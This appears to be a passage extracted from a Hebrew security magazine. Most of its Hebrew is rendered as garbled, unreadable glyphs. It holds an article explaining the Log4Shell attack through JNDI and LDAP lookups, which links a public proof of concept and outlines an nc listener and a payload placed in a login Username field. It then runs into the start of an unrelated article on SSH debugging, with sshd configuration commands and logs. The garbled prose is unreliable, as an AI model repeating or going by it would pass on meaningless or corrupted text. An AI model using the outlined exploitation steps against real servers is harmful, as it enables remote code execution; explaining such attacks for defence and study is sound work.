ˢ˧˴˵ˮˣ˲˪ replace Σ˭˸˧ˮ ˸ˣ˞˶˪ ˧˩ ˣ˲ˣ˯˟ ˪˷ ˶˟ˡ sπLookup ˣˬ˴˰ ˱˪˥ˣ˧ ˨˶˰˟ ˶˧ˤ˥ˢ˷Φ 

˨ˣ˸˟ ˢ˧˴˵ˮˣ˲ˢ replace Σ˸˰˴˟˸ˬ ˢ˞˧˶˵ ˢ˧˴˵ˮˣ˲˪ ˸˲˯ˣˮ Σ˞˧ˢˣ substituteΦ ˶˥˞ˬ ˭˩ˣ˸ˣ ˢ˧˴˵ˮˣ˲ˢ ˨ˣ˶˞ Σ

˞˪ ˥˸ˮˮ ˢ˸ˣ˞ ˶ˬ˞ˬ˟ ˢˤ Σ˨˞ ˭˧˧˴ˮ ˧˩ ˵˪˥˟ ˫˧˶˵ˬˢˬ ˭˩˸˧˧ ˰˴˟˸˸ˣ ˢ˞˧˶˵ ˸˧˟˧˯˶ˣ˵˶ ˪πsubstitue Σ

˸˞ˤˣ ˫ˣ˷ˬ ˷-Log4j ˸˶˷˲˞ˬ ˰ˣ˴˧˟ ˪˷ Lookup ˨ˣ˸˟ Lookup ˶˥˞Υ 

 

˸˶ˤ˰˟ ˸˪ˣ˩˧ xʕ Σ˭˸˧ˮ ˟ˣ˸˩˪ Payloads ˫˧˪˧˩ˬˢ Lookups ˫˧ˮˣ˷ ˫˧˲˯ˣˮ ˨˩˟ˣ ˵ˣˬ˥˪ ˢ˵˧ˠˣ˪ˬ ˪˷ ˸ˣˬ˧˸˥ 

˸˷˶ ˸ˣ˧˯˧˯˟ ύ˨˷ˬˢ˟ ˶ˬ˞ˬˢ ˭˧˟ˮ ˵ˬˣ˰˪ ˸˞ ˸ˣ˰ˬ˷ˬ sπPayload˫˧ ˫˧˞˟ˢόΥ 

 

 

˱˞ˣ ˶˟˸˯ˬ ˢ˷πLookup x˟ ˫˧˷ˬ˸˷ˬ ˨˶ˣ˴˪ Obfuscation ˞˪ ˟˧˧˥ ˸ˣ˧ˢ˪ ˭˧˵˸Υ 
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JNDI 

JNDI (Java Naming and Directory Interface) ˣˮ˧ˢ ˵˷ˬˬ ˶˷˲˞ˬˢ ˸˶ˣ˷˵˸ ˪˞ ˪ˣˬ Naming Services xπ

Directory Services ˸ˣ˰˴ˬ˞˟ ˫˧˷ˣˬ˧ˬ ˫˧ˮˣ˷Φ ˢ˷˰ˬ˪ ΣJNDI ˢˮ˵ˬ ˫˧˥˸˲ˬ˪ ˨˶ˡ ˢ˦ˣ˷˲ ˵˷ˬˬ˸ˢ˪ ˪˞ 

˪ˣˬ ˫˧˸ˣ˶˧˷ ˫˧˦ˮˣˣ˪˶ Σˢˬˠˣˡ˪ ˧˸˶˷ LDAP ˧ˡ˩˟ ˰˴˟˪ ˸ˣ˪ˣ˰˲ ˸ˣ˧˦˶˵ˮˣ˵Φ 

˫ˮ˷˧ ˶˲˯ˬ ˫˧˷ˣˬ˧ˬ ˫˧ˮ˧˧ˮ˰ˬ ˫˧˧˷ˣˬ˧˷ˣ ˪πJNDI Σˣˬ˩ RMI ˶˷˲˞ˬˢ ˢ˷˧ˠ ˦˵˧˧˟ˣ˞˪ ˵˥ˣ˶ˬ Σ˨˞ ˶ˬ˞ˬ˟ 

ˢˤ ˵ˬ˰˸ˮ ˷ˣˬ˧ˬ˟ ˡ˰ˣ˧ˬˢ ˸ˣ˵˷ˬˬ˸ˢ˪ ˫˰ ˧˸˶˷ LDAP Σ˭˧˟ˮˣ ˡ˴˧˩ ˭˸˧ˮ ˷ˬ˸˷ˢ˪ x˟ ˧ˡ˩˟ ˷˧ˬ˷ˢ˪ ˸˞ 

˸˷˪ˣ˥ Log4Shell 

 

JNDI LDAP 

˧˲˩ ˣˮˡˬ˪˷ ˢˤ ˢ˸˰ Σ˷ˣˬ˧ˬˢ sπLDAPπ˧ ˪˷ JNDI ˶˷˲˞ˬ ˣˮ˪ ˵˷ˬˬ˸ˢ˪ ˫˰ ˧˸˶˷ LDAP ˸ˣ˪˵˟ ˢ˟˶Σ 

˷ˣˬ˧ˬ ˢˤ ˰˧˴ˬ ˣˮ˪ ˫˧ˬˣ˷˧˧ ˸ˣ˧˴˵ˮˣ˲ˣ ˸ˣˮˣ˷ ˸ˣ˶˷˲˞ˬˢ ˣˮ˪ ˸˷ˠ˪ ˫˧ˮˣ˸ˮ˪ ˫˧˟˞˷ˬˣ ˫˧ˮ˯ˣ˥˞ˬˢ ˧˸˶˷˟ 

LDAP Σ˭˧˟ˣ ˶˸˧ˢ Σ˱˞ ˸˷ˠ˪ ˧˦˵˧˧˟ˣ˞˪ JavaΦ 

ˢ˷˰ˬ˪ Σ˪˩ˣˮ ˭˯˥˞˪ ˦˵˧˧˟ˣ˞ Javaπ˧ ˪˰ ˧˟ˠ ˸˶˷ LDAP ˨˩˟ ˰˧ˬ˸ˮ˷ ˸˞ ˣ˸ˣ˞ ˦˵˧˧˟ˣ˞ ˸ˣ˷˧˧˟ LDAPπ˸˧Φ 

˨˶ˣ˴˪ ˢˬˠˣˡˢ Σ˪˩ˣˮ ˶ˣ˴˧˪ ˸ˣ˷˧˧ ˸˧ˡˣ˰˧˧ ˸˶˷˟ Active Directory ˪˧˩˸˷ ˸ˣˬˣ˷˶ ˸ˣ˧ˡˣ˰˧˧ Σ˭˸ˣ˞ ˸ˣˬˣ˷˶ 

ˣˠ˴˧˧ ˦˧˧˵˟ˣ˞ Java ˶˥˞˪ ˢ˧˴ˤ˧˪˧˶˯Φ ˸ˣ˰˴ˬ˞˟ ˷ˣˬ˧˷ ˟-JNDI ˭˸˧ˮ ˸˷ˠ˪ ˸ˣ˷˧˧˪ xʕ ˧ˡ˩˟ ˶ˣ˴˧˪ Instace 

˧ˬˣ˵ˬ ˪˷ ˦˵˧˧ˣ˟˞ˢΥ 

 

˭˸˧ˮ ˸ˣ˞˶˪ ˧˩ ˢˡ˷ˢ JavaSeriazliedData ˠ˴˧˧ˬ ˦˧˧˵˟ˣ˞ ˶˟˰˷ ˢ˧˴ˤ˧˪˧˶˯ Σ˸˰˩ Σ˪˩ˣˮ ˸˷ˠ˪ ˸ˣ˷˧˧˪ 

˸˧˦ˮˣˣ˪˶ˢ ˸ˣ˰˴ˬ˞˟ ˸˷˵˟ LDAP ˨˩˟ˣ ˸˷ˠ˪ ˦˵˧˧˟ˣ˞˪ ˵˥ˣ˶ˬΦ 
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˨˶ˡ ˸˲˯ˣˮ ˸ˠ˷ˢ˪ ˢ˞˴ˣ˸ ˢˢˤ Σˢ˧ˢ˸ ˸˶˧˴˧ ˸ˣ˷˧˧ LDAPπ˸˧ ˸ˠ˴˧˧ˬˢ Reference ˦˵˧˧˟ˣ˞˪Φ 

˸ˣ˷˧˧ˢ ˪˧˩˸ ˰ˡ˧ˬ ˧˦˶˵ˮˣ˵ ˪˰ ˦˵˧˧˟ˣ˞ˢ Σˣˬ˩ ˫˷ ˢ˵˪˥ˬˢ Σ˫˷ s-FactoryClass ˧˦ˮˣˣ˪˶ˢ ˣˬˣ˵˧ˬˣΦ 

ύ˸˵˪˥ˬ Factory ˞˧ˢ ˵˪˥ ˸˧ˮ˟˸ˬ ˟ˣ˴˧˰ ˢ˸˧˪˩˸˷ ˸˶˧˴˧ ˫˧˦˵˧˧˟ˣ˞ ˫˧˵˪ˣ˥ˢ ˵˷ˬˬ ˡ˥˞ ˧˪˟ˬ ˶˧˩ˢ˪ 

˸˞ ˸ˣ˵˪˥ˬˢ ˫ˢ˪˷όΥ 

 

 

Log4j - JNDI Lookups 

˶ˣˤ˥ˮ ˡ˰˴ ˢ˶ˣ˥˞ ˪˞ Log4j LookupsΦ ˣˮˡˬ˪ ˧˩ ˫˧ˬ˧˧˵ ˫˧ˠˣ˯ ˫˧ˮˣ˷ ˪˷ Lookupπ˫˧ ˫˧˧˷ˣˬ˧˷ ˫˧˶˷˲˞ˬˢ 

ˣˮ˪ ˱˧˯ˣˢ˪ ˰ˡ˧ˬ ˧˦ˮˣˣ˪˶ ˧˴˟˵˪ ˢ˧˶ˣˠ˧˲ˣˮ˵ ˫˧ˠˣ˪ˣ Σ˸˰˩ ˱˶˦˴ˬ ˢ˶ˣ˟˥˪ JNDI Lookup Σˢˮ˵ˬˢ ˣˮ˪ ˸˞ 

˸˪ˣ˩˧ˢ ˰˴˟˪ ˢ˪ˣ˰˲ ˢˬˣˡ Σ˞ˣˢ˷˩ ˶˷˲˞ˬ ˣˮ˪ ˸˷ˠ˪ ˰ˡ˧ˬ˪ ˸ˣ˶ˣ˵ˬˬ ˫˧˵˥ˣ˶ˬΦ 

˧˲˩ ˣˮ˧˞˶˷ ˡˣˬ˰˟ ˫ˡˣ˵ˢ Σ˪˩ˣˮ ˭˯˥˞˪ ˦˵˧˧˟ˣ˞ Java x˞ Reference ˣ˪˷ ˪˰ ˧ˡ˧ ˸ˣˬˣ˷˶ ˸ˣ˧ˡˣ˰˧˧ Σˣ˧˪˞˷ ˪˩ˣˮ 

˸˷ˠ˪ ˸ˣ˰˴ˬ˞˟ JNDIΦ 

˫˧ˮ˧˧ˮ˰ˢ ˫˧˪˧˥˸ˬ ˸ˣ˧ˢ˪ ˫˧ˮ˧˧ˮ˰ˬ ˰ˠ˶˟ ˣˮ˥ˮ˞˷ ˫˧˲˷˥ˮ ˦ˣ˦˧˴˪ ˞˟ˢΥ 

If a java.io.Serializable, Referenceable, or Reference object was previously bound to that LDAP 

name, then the attributes from the entry are used to reconstruct that object (see the example in 

the JNDI Tutorial). Otherwise, the attributes from the entry are used to create a DirContext 

instance that represents the LDAP entry. In either case, the LDAP provider invokes 

DirectoryManager.getObjectInstance() on the object and returns the resultsΦ 

]˨ˣ˸ˬ ˶˸˞ˢ ˧ˬ˷˶ˢ ˪˷ Oracleώ 

˫˧˪˧ˬ˟ ˸ˣ˶˥˞ Σˢˡ˧ˬ˟ ˣˮ˷ˠ˧ˮˣ ˪˞ ˸ˣ˷˧ LDAPπ˸˧ ˢ˪˧˩ˬˢ ˦˵˧˧˟ˣ˞ Σˣ˞ Reference ˦˵˧˧˟ˣ˞˪ Σ˶˴ˣˣ˧ 

Instance ˪˷ ˦˵˧˧˟ˣ˞ˢ ˧˦ˮˣˣ˪˶ˢΦ ˧ˡ˩ ˶ˣ˴˧˪ Instance ˪˷ ˢ˵˪˥ˬ Σˣˮ˧˪˰ ˳˧˶ˢ˪ ˸˞ s-Constructor ˢ˪˷ Σ

˶˥˞ˬˣ ˦˵˧˧˟ˣ˞ˢˣ ˶˟ˣˡˬˢ ˞ˣˢ ˸˦˧˪˷˟ ˱˵ˣ˸ˢ Σ˨˩ ˫ˠ sπConstructor ˣ˪˷Φ 

˸˰˩ Σ˪˩ ˢˬ ˱˵ˣ˸ˢ˷ ˨˧˶˴ ˸ˣ˷˰˪ ˧ˡ˩ ˳˧˶ˢ˪ ˡˣ˵ ˞ˣˢ ˟ˣ˸˩˪ Constructor ˧ˮˣˡˤΦ 
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Ϧ˪˟˞ ˢˬ˪ ˣˢ˷˧ˬ˷ ˫˸˯ ˷ˠ˧˧ ˸˶˷˪ LDAPϦΚ 

˭˩˟ˣ Σ˫˧ˬˣ˷˧˧ ˫˧˟˶ ˫˧ˡ˰˸ˬ ˰ˡ˧ˬ ˸ˣ˶˦ˬ˪ ˸ˣˮˣ˷ Σ˵˪˥ ˪ˣˡˠ ˰ˡ˧ˬˢˬ ˡ˰ˣ˸ˬˢ ˰˧ˠˬ ˭˲ˣ˞˟ ˶˧˷˧ x˞ ˱˧˵˰ 

ύˢ˶˵ˬ˟ ˪˷ ˫˧ˮ˲ˡ˲ˡ ό˧˷ˬ˸˷ˬˬ ˢ˴˵Φ 

˫˧˦˶˲ ˪˷ ˭ˣ˧˯˧ˮ ˸ˣ˶˟˥˸ˢ ˪˷ˣ˩ Σ˸˰ˡˣˢ ˴ϥ˦˞ ΣUser-Agent ˪˷ ˸˷˵˟ HTTP Σˡˣ˰ˣ ˫˧˟˶ ˫˧˶˥˞ ˷˰ˣ˫˧˧ 

˶ˣ˟˰˪ ˡˣ˰˧˸ Σ˶˷˞˩ˣ ˶˟ˣˡˬ ˡˣ˰˧˸˟ ˪˷ ˸˧˧˶˲˯ Log4j Σ˰ˡ˧ˬˢ ˡ˰ˣ˸ˬˢ ˞˪ ˶˯˶ˣ˲ˬ ˢ˶ˣ˴˟ ˢ˥ˣ˦˟ ˧ˣ˷˰ˣ 

˪˧˩ˢ˪ Lookups ˶ˠ˶ˣ˦˧˷ ˡˬ˰ˬ˟ ˸˧˧˴˵ˮˣ˲ ˠˣ˪ˢΦ 

˭˞˩ˬ ˫˧ˮ˧˧ˮ˰ˢ ˫˧˪˧˥˸ˬ ˸ˣ˧ˢ˪ ˫˧˶ˣ˶˟ Σ˫˞ ˫˷ ˷ˬ˸˷ˬˢ ˯˧ˮ˩ˮ˷ ˧˦˶˲˩ ˸ˣ˶˟˥˸ˢ ˶˸˞˪ ˶˟ˣ˰ ˡˣ˰˧˸ Σ

˪˩ˣˮ ˭˧ˤˢ˪ JNDI Lookup ˸˶˷˪ LDAP ˣˮ˸˦˧˪˷˟˷ Σ˟˵˰ ˶ˣ˯˶˧˲ ˞˪ ˥ˣ˦˟ Σ˸˶˷ˢ ˡ˰˸ˬˢ ˳˧˶˧ ˸˞ s-

Lookup ˷ˣ˲˧˥˟ ˶˥˞ sπResource ˧˦ˮˣˣ˪˶ˢ Σ˥˪˷˧ ˸˷˵˟ LDAP ˸˶˷˪ ˧ˡˣ˰˧˧ˢ Σˢ˯ˮ˧ ˶ˣ˴˧˪ ˦˵˧˧˟ˣ˞ Σ˳˧˶˧ 

Consturctor ˧ˮˣˡˤ Σ˨˩˟ˣ ˣˮ˴˶ˢ ˡˣ˵Φ 

˸ˣˬ˩ ˧˶ˣ˦˵ˣ ˢ˲˧˵˸ˢ ˫˧˧˪˞˧˴ˮ˦ˣ˲ˢ ˞˧ˢ ˧˸˪˟ ˸ˮ˸˧ˮ ˢ˯˧˲˸˪ Σ˪˩ Input ˪˷ ˷ˬ˸˷ˬˢ ˶˟ˣ˰˷ ˡˣ˰˧˸ 

 .ˡˣ˵ ˸˴˶ˢ ˶˷˲˞˧ ,˰˧ˠ˲ˢ ˸˶˷˟˸ˣ˞ˬˠˣˡ  ˶˷˲˞ ˦˪˵ ˧ˠˣ˯˪˸˞˶˪ :˫˧˷˶˸ˢ ˪˷ ˪˞ˬ˷ ˡ˴˟ 

 
 Υ ϐlog4j2-apache-44228-2021-cve-to-response-blog.microsoft.com/2021/12/11/microsofts-https://msrcώ 

  

https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2
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˦˟ˬ ˸ˬ˶˟ sNetwork- 

˸˰˩ ˶˟˥ˮ ˸˞ ˪˩ ˸ˣˡˣ˵ˮˢ ˡ˥˧ ˧ˡ˩˪ ˸˶˷˶˷ ˢ˧˴˦˧˞ˣ˪˲˯˵˞ ˢ˞˪ˬ Σ˫˧˶ˮ ˢ˟˧˟˯ ˸˧ˬˣ˵ˬ ˢ˰˧ˠ˲ ύˢ˸ˣ˞ 

˭˸˧ˮ ˞ˣ˴ˬ˪ ˶ˣ˷˧˵˟ ˞˟ˢ: poc-shell-https://github.com/kozmer/log4j( ˭˥˟ˮˣ ˸˞ ˨˧˪ˢ˸ ˢ˷ˬ˷ˢˢ 

ˬ˶˟.˸˷˶ˢ ˸ sπPoC x˟ ˷ˬ˸˷ˮ ˨ˬ˸˯ˬ ˪˰ ˸ˣ˷˧˧ LDAPπ˸˧ ˢˣˣˢˬ˷ Reference ˦˵˧˧˟ˣ˞˪ Java Σ˸˞ ˡˣ˵ˢ 

˪˷ sπClass ˧˦ˮˣˣ˪˶ˢ Σˣ˲ˣ˯˟˷ ˪˷ ˶˟ˡ ˶˷˲˞˧ ˣˮ˪ ˠ˧˷ˢ˪ Shell Σ˭˸˧ˮ ˸ˣ˞˶˪ ˦ˣ˶˧˲˟ ˢˮˣˬ˸˟ ˢ˞˟ˢΥ 

  

 

https://github.com/kozmer/log4j-shell-poc
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˸˰˩ ˫˧˶ˮ ˸˞ ˸˶˷ sπLDAP ˧ˡˣ˰˧˧ˢ ˶˷˲˞˧˷ ˣˮ˪ ˸˷ˠ˪ ˪πClass ˧ˮˣˡˤˢ: 

 

 ˪˧˟˵ˬ˟ Σ˳˧˶ˮ nc ˭˧˸ˬˮˣ ˶ˣ˟˧˥˪Υ 

 

˶ˣ˦˵ˣ ˢ˲˧˵˸ˢ ˣˮ˪˷ ˢ˧ˢ˧ ˢˡ˷ Username ˱ˡ˟ Login ˦ˣ˷˲ ˶˟ˣ˰ˢ ˡˣ˰˧˸ ˪˰ ˧ˡ˧ Log4j 

˯˧ˮ˩ˮ ˢˡ˷˟ sπUsername ˸˞ sπPayload ˧˦ˮˣˣ˪˶ˢΥ 
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˨˩ ˢ˞˶˸ ˢ˷˵˟ˢ ˸˞˴ˣ˧ˢ ˭˲ˡ˲ˡˢˬ ˣˮ˪˷ ˟πWiresharkΥ 

 

˸˷˵˟ sπLDAP ˸˥˪˷ˮ˷ ˸˶˷ˢˬ ˰˧ˠ˲ˢ ˸ˣ˰˴ˬ˞˟ JNDI ˪˞ ˸˶˷ˢ ˧ˮˣˡˤˢ ˢˢˤˬˣ ˧˩ ˶˟ˣˡˬ ˸ˣ˷˧˧˟ 

˸ˠ˴˧˧ˬˢ Reference ˦˵˧˧˟ˣ˞˪ JavaΥ 
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˸˶˷ˢ ˷ˠ˧ˮ ˪πCodebase ˧˦ˮˣˣ˪˶ˢ ˸˧˧˥ˮˢ˟ ˸ˣ˷˧˧ sπLDAP ˡ˧˶ˣˬˣ ˸˞ sπClassΥ 

 

˸˶˷ˢ ˢ˯ˮ˧ ˶ˣ˴˧˪ ˸˞ ˦˵˧˧˟ˣ˞ˢ ˧˦ˮˣˣ˪˶ˢ Σ˳˧˶˧ ˸˞ sπConstructor ˧ˮˣˡˤˢ - ˷˧ ˣˮ˪ ShellΥ 
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˫ˣ˩˧˯ 

˸˷˪ˣ˥ Log4Shell ˢ˞˶ˬ ˣˮ˪ ˡ˰ ˢˬ˩ ˫˪ˣ˰ ˸˥˦˟˞ ˰ˡ˧ˬˢ ˣˮ˧ˢ ˵˪˥ ˧˪˶ˠ˦ˮ˧˞ ˧˧˥ˬ ˫ˣ˧ˢ ˫ˣ˧Φ 

˭˧˞ ˵˲˯ ˧˩ ˶˟ˣˡˬ ˡ˥˞˟ ˫˧˰ˣ˶˧˞ˢ ˫˧˧ˠˣ˪ˣˮ˩˦ˢ ˶˸ˣ˧ˢ ˫˧˧˸ˣ˰ˬ˷ˬ ˣ˶˵˷ ˫˧ˮ˷˟ ˸ˣˮˣ˶˥˞ˢ Σ˪˥ˢ ˢˡ˟ˣ˰ˢˬ 

˸ˣ˶˟˥˷ ˸ˣ˪˧˟ˣˬ ˸ˣ˟˶ Σˣˬ˩ ˭˩ ˫˧ˬˣ˷˧˧ ˫˧˟˶ Σˣ˞˴ˬˮ ˫˧˰˧ˠ˲˩ ˢ˷˪ˣ˥˪Φ 

˫ˣ˯˶˲ˢ ˧ˮˣ˷˞˶ˢ ˪˷ ˢ˷˪ˣ˥ˢ ˞˧˟ˢ ˣ˧˶˥˞ ˪ˠ ˪˷ ˸ˣ˰˧ˡ˧ Σ˸ˣ˶ˢˤ˞ Σ˸ˣ˟˸˩ ˧˟˸˩ˣ ˭˩ˣ˸ ˫˧˟˶ ˶˷˞ ˣ˲˧˴ˢ 

˸˞ ˦ˮ˶˦ˮ˧˞ˢ - ˞˪ˣ ˧ˡ˩˟ Σ˫˧˩˧˶ˡˬ ˸˷ˬ˷ˢ˪ ˢ˷˪ˣ˥ˢ ˣˬ˯˶ˣ˲ ˢ˶ˢˬ˟ ˭˲ˣ˞˟ ˧ˣ˪ˠ Σˢˬ ˶˷˲˞˷ ˫˧˲˵ˣ˸˪ 

˫˧˟˶ ˷˧ˬ˷ˢ˪ ˸˞ ˢ˷˪ˣ˥ˢ ˞˪˪ ˳ˬ˞ˬΦ 

˶ˬ˞ˬ˟ ˢˤ ˣˮ˶˵˯ ˸˞ ˢ˷˪ˣ˥ˢ ˵ˬˣ˰˪ Σˣˮ˶˩ˢ ˸˞ ˫˧˧ˣ˵˧˪ˢ ˫ˢˬ ˞˧ˢ ˸˰˟ˣˮ Σˢˬ ˫˧˟˧˩˶ˢ ˫˧˵˥˷ˬˢ 

ˡ˧˵˲˸ ˨˧˪ˢ˸˟ ˢ˷ˬ˷ˢˢ Σ˱˞ˣ ˣˮ˷ˬ˷ˢ ˸˞ ˢ˷˪ˣ˥ˢ ˭˲ˣ˞˟ ˧˪˞˵ˣ˪ ˧ˡ˩˟ ˸ˣˣ˥˪ ˨˧˪ˢ˸ ˢ˲˧˵˸ ˞˪ˬΦ 

˫˞ˢ ˢ˧ˢ ˭˸˧ˮ ˰ˣˮˬ˪ ˸˞ ˭ˠ˞˪˟ˢ Κ˧ˣˮ˧˷ ˨˶˰ ˪˷ ˶˦ˬ˶˲ ˡ˥˞ ˢ˧ˢ ˪ˣ˩˧ ˸ˣˮ˷˪ ˸˞ ˢˮˣˬ˸ˢ ˭˲ˣ˞˟ 

˧˸ˣ˰ˬ˷ˬ Σ˨˞ ˸ˣ˷˪ˣ˥ ˭s ˵˪˥ ˧˸˪˟ ˡ˶˲ˮ ˫˪ˣ˰ˬ ˥ˣ˸˧˲ˢ - ˭s ˡ˧ˬ˸ ˣ˧ˢ˧ ˫˷ Φ˯ˬ˵˸ˣˮ ˡ˧ˬ˸ ˪˩ˣˮ ˵˧˯ˢ˪ π 

˭˧˞ ˵˲˯ ˧˩ ˢ˷˪ˣ˥ˢ Log4Shell ˶˧˞˷˸ ˫˸ˣ˥ ˧˸ˣ˰ˬ˷ˬ ˫˪ˣ˰˟ ˸˥˦˟˞ˢ ˰ˡ˧ˬ - ˸ˣ˥˲˪ ˭ˬˤ˪ ˟ˣ˶˵ˢΦ 

 

˪˰ ˶˟˥ˬˢ 

˭ˡ˧˰ ˶˦˩˷ Σ˭˟ нп ˭ˣ˷˞˶ˬ ˭ˣ˧˴˪ Σ˦ˮˡˣ˦˯ ˧˰ˡˬ˪ ˟˷˥ˬˢ ˢ˪˪˩ˬ˟ ˪ˢˮˬ˪ ,˶˵ˣ˥ ˸˥˦˟˞ ˰ˡ˧ˬ ˸˶˟˥˟ ˴ϥ˵ 

˦ˮ˧ˣ˲ x˱˶ˣ˦ˬ ˪˰ ˫˧˟˪˩Φ 

 

ˢ˞˧˶˵˪ ˸˲˯ˣˮ 

¶ https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-

Manipulation-To-RCE.pdf 

¶ https://blog.checkpoint.com/2021/12/13/the-numbers-behind-a-cyber-pandemic-detailed-

dive/ 

  

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
https://blog.checkpoint.com/2021/12/13/the-numbers-behind-a-cyber-pandemic-detailed-dive/
https://blog.checkpoint.com/2021/12/13/the-numbers-behind-a-cyber-pandemic-detailed-dive/
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Secure SHell in Unsecure System 

˸˞ˬ ˶ˠ˶˟ ˭ˡ˰ 

 

ˢˬˡ˵ˢ 

˟˞ ˢˤ ˶ˬ˞ˬ ˫˧ˮ˷ ˸ˣ˞˴ˬˮ˷ ˸ˣ˪ˣ˩˧ ˠ˧˴ ˸ˣ˟˶ ˨ˣ˸˟ssh , ˨˞˨ˣ˸˟ ˸ˣ˞˟˥ˣˬ ˸˴˵ ˦ˣ˷˲ s-man pages .

,ˣ˩ˣ˸˟ ˸ˣ˧ˣˮ˟˷ ˸ˣ˷˪ˣ˥ ˢˬ˩  ˭ˣˡˮ ˱˯ˣˮ˟ .˭ˢ˧ˮ˲ˬ ˭ˮˣˠ˸ˢ˪ ˣ˞ ,ˣˮ˸˟ˣ˦˪ ˪˴ˮ˪ ˪˩ˣˮ˷ ˸˩˶˰ˬ˟ ˸ˣ˪ˣ˩˧ ˢˬ˩ˣ

?˫˧ˡ˟ˣ˰ˢ ˸ˡˣ˟˰ ˪˰ ˢ˷˵ˮˣ ˣ˵ˢ ˸˞ ˶ˣ˟˰ˮ ˧˸ˬ ,˸˧ˮˣˠ˶˞ˢ ˸˷˶ˢ ˸˥˷˵ˢ˟ ˢ˧˰˟˟ 

˟ ˵˯˰˸ˮ ˞˪ ˢˤ ˶ˬ˞ˬ˟ ,˱˯ˣˮ˟-Tunnels ˷˧˷ ˫˧ˮˣ˷ˢ ˟-ssh ˫˧ˡˬˣ˪˷ ˫˧ˮˣ˷˞˶ˢ ˫˧˶˟ˡˢ ˣ˪˞ ˧˩ ˶˵˧˰˟ ,

 ˪˷ ˵ˬˣ˰˪ ˫˧˯ˮ˩ˮ ˶˷˞˩ssh. 

˪˸ˣ˶ˢˮˬˢ ˪˰ ˢ˞˧˶˵ :˸ˣˮˣ˷ˢ Dynamic, Remote x-Local, ˟ ˣ˞ˣ˶ˬ˞ˬ  ˪˷˶˵ˮ˞˧˪ˬ ˧ˡ˰. 

 

Debug and Passwords 

 ˥˵˧ˮˢ ˸˞ˢ˧˴˞ˣ˦˧˯ :ˢ˞˟ˢ ˶˵˞ˢ  ,˫˧˷ˬ˸˷ˬˢ ˣˮ˧˪˰ ˰ˡ˧ˬ ˶˸ˣ˧ ˪˟˵˪ ˢ˴ˣ˶ˣ ,ˣˮ˸ˣ˪˰˟˟ ˸˶˷ ˪˞ ˶ˡ˥

.ˣ˪˷ ˸ˣ˧ˣ˶˷˲˞ˢ ˸˞ ˭˥˟ˮ 

 ˶ˣ˸˟˶˵˞ˢˢ  ˸ˣ˶ˡˠˢ ˸˞ ˢˮ˷ˮsshd :˱˯ˣˮˢ ˰ˡ˧ˬ˟ ˭ˮˣ˟˸ˮˣ ,˫˧ˠˣ˪ˢ ˪˞ ˰ˡ˧ˬ ˶˸ˣ˧ ˞˧˴ˣˢ˪ ˪˧˟˷˟ 

sudo  - i  

echo  LogLevel  DEBUG >> / etc / ssh / sshd_config   

systemctl  restart  sshd  

tail  - f  / var / log / auth.log  

 ˸˶ˤ˰˟ ˢˮˣ˩ˬˢ ˪˞ ˶˟˥˸ˮ ˷ˬ˸˷ˬˢ ˶ˣ˸˟ssh. ˢ ˶ˣ˸˟ˣ˶˵˞ˢ :˫˧ˠˣ˪ˢ ˸˞ ˭˥˟ˮ 

Sep  4 05: 39: 33 ubu - big1  sshd [ 83302 ]:  debug1 :  Forked  child  83430 .             

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  Set  / proc / self / oom_score_adj  to  0 

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  rexec  start  in  5 out  5 newsock  5 pipe  7 sock  8 

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  inetd  sockets  after  dupping :  4,  4 

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  Connection  from  192 . 168 . 0. 105  port  39834  on 

192 . 168 . 0. 10 port  22 rdomain  ""  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  Local  version  string  SSH- 2.0 - OpenSSH_8.2p1  

Ubuntu - 4ubuntu0.2                       

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  Remote protocol  version  2. 0,  remote  software  

version  OpenSSH_7.9  FreeBSD- 20200214  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  match :  OpenSSH_7.9  FreeBSD- 20200214  pat  

OpenSSH*  compat  0x04000000  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  permanently_set_uid :  111 / 65534  [ preauth ]   

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  list_hostkey_types :  rsa - sha2 - 512 , rsa - sha2 -

256 , ssh - rsa , ecdsa - sha2 - nistp256 , ssh - ed25519  [ preauth ]  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  SSH2_MSG_KEXINIT sent  [ preauth ]  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  SSH2_MSG_KEXINIT received  [ preauth ]  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  kex :  algorithm :  curve25519 - sha256  [ preauth ]  

https://en.wikipedia.org/wiki/Tunneling_protocol
https://www.digitalwhisper.co.il/files/Zines/0x6D/DW109-4-PortForwarding.pdf
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Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  kex :  host  key  algorithm :  ecdsa - sha2 - nistp256  

[ preauth ]  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  kex :  client - >server  cipher :  chacha20 -

poly1305 @openssh.com  MAC:  <implicit > compression :  none  [ preauth ]  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  kex :  server - >client  cipher :  chacha20 -

poly1305 @openssh.com  MAC:  <implicit > compression :  none  [ preauth ]  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  expecting  SSH2_MSG_KEX_ECDH_INIT [ preauth ]   

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  rekey  out  after  134217728  blocks  [ preauth ]  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  SSH2_MSG_NEWKEYS sent  [ preauth ]                    

